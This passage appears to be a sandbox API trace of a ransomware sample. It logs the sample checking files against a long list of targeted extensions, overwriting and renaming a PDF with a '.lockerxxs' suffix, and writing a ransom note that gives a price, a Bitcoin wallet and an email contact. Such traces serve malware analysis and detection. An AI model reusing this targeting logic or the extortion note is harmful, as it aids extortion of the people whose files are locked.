10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.711] lstrlenA (lpString="*.ofx") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.711] lstrlenA (lpString="*.qif") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.711] lstrlenA (lpString="*.mye") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.711] lstrlenA (lpString="*.mbox") returned 6 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.711] lstrlenA (lpString="*.eml") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.711] lstrlenA (lpString="*.pst") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.711] lstrlenA (lpString="*.ost") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.711] lstrlenA (lpString="*.idx") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.711] lstrlenA (lpString="*.dbx") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.712] lstrlenA (lpString="*.sql") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.712] lstrlenA (lpString="*.mdb") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.712] lstrlenA (lpString="*.fdb") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.712] lstrlenA (lpString="*.wab") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.712] lstrlenA (lpString="*.dat") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.712] lstrlenA (lpString="*.txt") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.712] lstrlenA (lpString="*.jpeg") returned 6 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.712] lstrlenA (lpString="*.jpg") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.712] lstrlenA (lpString="*.png") returned 5 [0068.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.713] lstrlenA (lpString="*.php") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.713] lstrlenA (lpString="*.cs") returned 4 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.713] lstrlenA (lpString="*.cpp") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.713] lstrlenA (lpString="*.rar") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.713] lstrlenA (lpString="*.zip") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.713] lstrlenA (lpString="*.html") returned 6 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.713] lstrlenA (lpString="*.htm") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.713] lstrlenA (lpString="*.xlsx") returned 6 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.713] lstrlenA (lpString="*.xls") returned 5 [0068.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.714] lstrlenA (lpString="*.mp4") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.714] lstrlenA (lpString="*.ppt") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.714] lstrlenA (lpString="*.pptx") returned 6 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.714] lstrlenA (lpString="*.doc") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.714] lstrlenA (lpString="*.dot") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.714] lstrlenA (lpString="*.docx") returned 6 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.714] lstrlenA (lpString="*.7z") returned 4 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.714] lstrlenA (lpString="*.tar") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.714] lstrlenA (lpString="*.bz2") returned 5 [0068.714] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.714] lstrlenA (lpString="*.gz") returned 4 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.715] lstrlenA (lpString="*.mkv") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.715] lstrlenA (lpString="*.eml") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.715] lstrlenA (lpString="*.msg") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.715] lstrlenA (lpString="*.edb") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.715] lstrlenA (lpString="*.accdb") returned 7 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.715] lstrlenA (lpString="*.odb") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.715] lstrlenA (lpString="*.java") returned 6 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.715] lstrlenA (lpString="*.asm") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.715] lstrlenA (lpString="*.pfx") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.715] lstrlenA (lpString="*.pem") returned 5 [0068.715] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.716] lstrlenA (lpString="*.p12") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.716] lstrlenA (lpString="*.gpg") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.716] lstrlenA (lpString="*.vsd") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.716] lstrlenA (lpString="*.odg") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.716] lstrlenA (lpString="*.raw") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.716] lstrlenA (lpString="*.nef") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.716] lstrlenA (lpString="*.svg") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.716] lstrlenA (lpString="*.psd") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.716] lstrlenA (lpString="*.vmx") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.716] lstrlenA (lpString="*.vmdk") returned 6 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.716] lstrlenA (lpString="*.vdi") returned 5 [0068.716] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.716] lstrlenA (lpString="*.lay6") returned 6 [0068.717] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.717] lstrlenA (lpString="*.mpeg") returned 6 [0068.717] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.717] lstrlenA (lpString="*.djvu") returned 6 [0068.717] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.717] lstrlenA (lpString="*.tiff") returned 6 [0068.717] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.717] lstrlenA (lpString="*.backup") returned 8 [0068.717] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.717] lstrlenA (lpString="*.pdf") returned 5 [0068.717] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" [0068.717] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" [0068.717] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf." [0068.717] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.lockerxxs" [0068.717] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.718] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1043a [0068.718] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0068.718] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.718] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10414, lpOverlapped=0x0) returned 1 [0068.721] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf") returned="DefaultID.pdf" [0068.721] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.721] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10414, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10414, lpOverlapped=0x0) returned 1 [0068.722] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.722] CloseHandle (hObject=0x94) returned 1 [0068.724] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf.lockerxxs")) returned 1 [0068.724] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.725] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.725] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="POL", cAlternateFileName="")) returned 1 [0068.725] lstrcmpA (lpString1=".", lpString2="POL") returned -1 [0068.725] lstrcmpA (lpString1="..", lpString2="POL") returned -1 [0068.725] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.725] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" [0068.725] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL") returned 63 [0068.725] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.728] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.728] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.728] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.728] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.728] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26ca2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.728] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.729] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.729] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*.*") returned="*.*" [0068.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" [0068.729] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\") returned="" [0068.729] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt" [0068.729] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\how to decrypt files.txt")) returned 0xffffffff [0068.729] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.730] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.730] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.736] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.736] CloseHandle (hObject=0x94) returned 1 [0068.736] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" [0068.736] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.736] lstrlenA (lpString="*.ems") returned 5 [0068.736] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.736] lstrlenA (lpString="*.db") returned 4 [0068.736] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.737] lstrlenA (lpString="*.dbf") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.737] lstrlenA (lpString="*.myox") returned 6 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.737] lstrlenA (lpString="*.myo") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 